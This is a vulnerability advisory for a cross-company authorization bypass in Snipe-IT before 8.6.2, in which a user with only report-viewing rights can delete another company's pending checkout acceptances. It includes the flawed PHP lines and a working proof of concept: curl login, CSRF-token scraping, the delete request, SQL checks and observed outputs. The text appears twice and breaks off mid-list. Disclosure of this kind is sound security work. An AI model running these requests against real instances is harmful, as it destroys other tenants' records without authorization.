CVE-2026-55515

Snipe-IT is an IT asset/license management system. Prior to 8.6.2, the unaccepted-assets report delete endpoint authorizes only reports.view and deletes CheckoutAcceptance::pending()->find($acceptanceId) by global ID without checking access to the related checkoutable asset, allowing a reports user in one company to delete pending checkout acceptance records for another company. This issue is fixed in version 8.6.2.

Snipe-IT is an IT asset/license management system. Prior to 8.6.2, the unaccepted-assets report delete endpoint authorizes only reports.view and deletes CheckoutAcceptance::pending()->find($acceptanceId) by global ID without checking access to the related checkoutable asset, allowing a reports user in one company to delete pending checkout acceptance records for another company. This issue is fixed in version 8.6.2.

Impact

A user with the reports.view permission can delete pending checkout acceptance records by global ID, even when the acceptance belongs to an asset in another company.

The report listing page appears to scope visible unaccepted assets, but the delete endpoint directly looks up CheckoutAcceptance::pending()->find($acceptanceId) and deletes it without checking whether the current user has access to the related checkoutable asset.

Preconditions

The attacker needs:

• A valid authenticated web session.
• reports.view permission.
• Knowledge or guessability of a pending checkout_acceptances.id.

The attacker does not need access to the asset/company associated with the target acceptance.

Root cause

The delete action authorizes only report access, then deletes a pending acceptance by global ID:

$this->authorize('reports.view');

$acceptance = CheckoutAcceptance::pending()->find($acceptanceId);

$acceptance->delete();

The code does not check whether the current user can access the acceptance’s related checkoutable asset/accessory/license/etc. In multi-company mode, this allows a reports user from one company to delete acceptance records belonging to another company.

Proof of concept

Target acceptance belongs to Company B

The target pending acceptance was identified as id=1.

snipe_sql "SELECT ca.id ca.checkoutable_id, ca.deleted_at, a.asset_tag, a.company_id
FROM checkout_acceptances ca
JOIN assets a ON a.id = ca.checkoutable_id
WHERE ca.id=$ACCEPTANCE_B_ID;"

Observed result:

{
    "id": 1,
    "checkoutable_id": 2,
    "deleted_at": null,
    "asset_tag": "LAB-B-42445107",
    "company_id": 3
}

This shows the pending acceptance belongs to asset 2, which is in Company B.

Attacker user belongs to Company A

The attacker account was reporter_a, assigned to Company A with only report viewing permission:

{
    "id": 3,
    "username": "reporter_a",
    "company_id": 2,
    "permissions": {
        "reports.view": 1
    }
}

Login as Company A reports user

curl -sS -c /tmp/snipe_cookie.txt "$BASE/login" -o /tmp/snipe_login.html

LOGIN_CSRF=$(grep -oP 'name="_token" value="\K[^"]+' /tmp/snipe_login.html)

curl -sS -i -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \
  -X POST "$BASE/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "_token=$LOGIN_CSRF" \
  --data-urlencode "username=reporter_a" \
  --data-urlencode "password=password"

Observed response:

Location: http://localhost:8000/

Fetch report CSRF token

curl -sS -L -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \
  "$BASE/reports/unaccepted_assets" \
  -o /tmp/unaccepted.html \
  -w "\nHTTP=%{http_code} URL=%{url_effective}\n"


CSRF=$(grep -oP 'name="csrf-token" content="\K[^"]+' /tmp/unaccepted.html)

echo "CSRF=$CSRF"

Observed result:

HTTP=200 URL=http://localhost:8000/reports/unaccepted_assets
CSRF=aRwAVRk5sPLdl7Pbw8vCQJRXN9vTqxVilkgH8JkU

Delete Company B acceptance as Company A reporter

curl -i -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \
  -X POST "$BASE/reports/unaccepted_assets/$ACCEPTANCE_B_ID/delete" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "_token=$CSRF" \
  --data-urlencode "_method=DELETE"

Observed response:

HTTP/1.1 302 Found
Location: http://localhost:8000/reports/unaccepted_assets

Final state

snipe_sql "SELECT id, checkoutable_id, deleted_at
FROM checkout_acceptances
WHERE id=$ACCEPTANCE_B_ID;"

Observed result:

{
    "id": 1,
    "checkoutable_id": 2,
    "deleted_at": "2026-06-12 04:30:00"
}

This confirms that reporter_a from Company A deleted a pending acceptance for Company B’s asset.

Security impact

This is a cross-company authorization bypass affecting checkout acceptance integrity. An attacker with report access can:

• Delete pending…

Snipe-IT is an IT asset/license management system. Prior to 8.6.2, the unaccepted-assets report delete endpoint authorizes only reports.view and deletes CheckoutAcceptance::pending()->find($acceptanceId) by global ID without checking access to the related checkoutable asset, allowing a reports user in one company to delete pending checkout acceptance records for another company. This issue is fixed in version 8.6.2.

Snipe-IT is an IT asset/license management system. Prior to 8.6.2, the unaccepted-assets report delete endpoint authorizes only reports.view and deletes CheckoutAcceptance::pending()->find($acceptanceId) by global ID without checking access to the related checkoutable asset, allowing a reports user in one company to delete pending checkout acceptance records for another company. This issue is fixed in version 8.6.2.

Impact

A user with the reports.view permission can delete pending checkout acceptance records by global ID, even when the acceptance belongs to an asset in another company.

The report listing page appears to scope visible unaccepted assets, but the delete endpoint directly looks up CheckoutAcceptance::pending()->find($acceptanceId) and deletes it without checking whether the current user has access to the related checkoutable asset.

Preconditions

The attacker needs:

• A valid authenticated web session.
• reports.view permission.
• Knowledge or guessability of a pending checkout_acceptances.id.

The attacker does not need access to the asset/company associated with the target acceptance.

Root cause

The delete action authorizes only report access, then deletes a pending acceptance by global ID:

$this->authorize('reports.view');

$acceptance = CheckoutAcceptance::pending()->find($acceptanceId);

$acceptance->delete();

The code does not check whether the current user can access the acceptance’s related checkoutable asset/accessory/license/etc. In multi-company mode, this allows a reports user from one company to delete acceptance records belonging to another company.

Proof of concept

Target acceptance belongs to Company B

The target pending acceptance was identified as id=1.

snipe_sql "SELECT ca.id ca.checkoutable_id, ca.deleted_at, a.asset_tag, a.company_id
FROM checkout_acceptances ca
JOIN assets a ON a.id = ca.checkoutable_id
WHERE ca.id=$ACCEPTANCE_B_ID;"

Observed result:

{
    "id": 1,
    "checkoutable_id": 2,
    "deleted_at": null,
    "asset_tag": "LAB-B-42445107",
    "company_id": 3
}

This shows the pending acceptance belongs to asset 2, which is in Company B.

Attacker user belongs to Company A

The attacker account was reporter_a, assigned to Company A with only report viewing permission:

{
    "id": 3,
    "username": "reporter_a",
    "company_id": 2,
    "permissions": {
        "reports.view": 1
    }
}

Login as Company A reports user

curl -sS -c /tmp/snipe_cookie.txt "$BASE/login" -o /tmp/snipe_login.html

LOGIN_CSRF=$(grep -oP 'name="_token" value="\K[^"]+' /tmp/snipe_login.html)

curl -sS -i -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \
  -X POST "$BASE/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "_token=$LOGIN_CSRF" \
  --data-urlencode "username=reporter_a" \
  --data-urlencode "password=password"

Observed response:

Location: http://localhost:8000/

Fetch report CSRF token

curl -sS -L -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \
  "$BASE/reports/unaccepted_assets" \
  -o /tmp/unaccepted.html \
  -w "\nHTTP=%{http_code} URL=%{url_effective}\n"


CSRF=$(grep -oP 'name="csrf-token" content="\K[^"]+' /tmp/unaccepted.html)

echo "CSRF=$CSRF"

Observed result:

HTTP=200 URL=http://localhost:8000/reports/unaccepted_assets
CSRF=aRwAVRk5sPLdl7Pbw8vCQJRXN9vTqxVilkgH8JkU

Delete Company B acceptance as Company A reporter

curl -i -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \
  -X POST "$BASE/reports/unaccepted_assets/$ACCEPTANCE_B_ID/delete" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "_token=$CSRF" \
  --data-urlencode "_method=DELETE"

Observed response:

HTTP/1.1 302 Found
Location: http://localhost:8000/reports/unaccepted_assets

Final state

snipe_sql "SELECT id, checkoutable_id, deleted_at
FROM checkout_acceptances
WHERE id=$ACCEPTANCE_B_ID;"

Observed result:

{
    "id": 1,
    "checkoutable_id": 2,
    "deleted_at": "2026-06-12 04:30:00"
}

This confirms that reporter_a from Company A deleted a pending acceptance for Company B’s asset.

Security impact

This is a cross-company authorization bypass affecting checkout acceptance integrity. An attacker with report access can:

• Delete pending…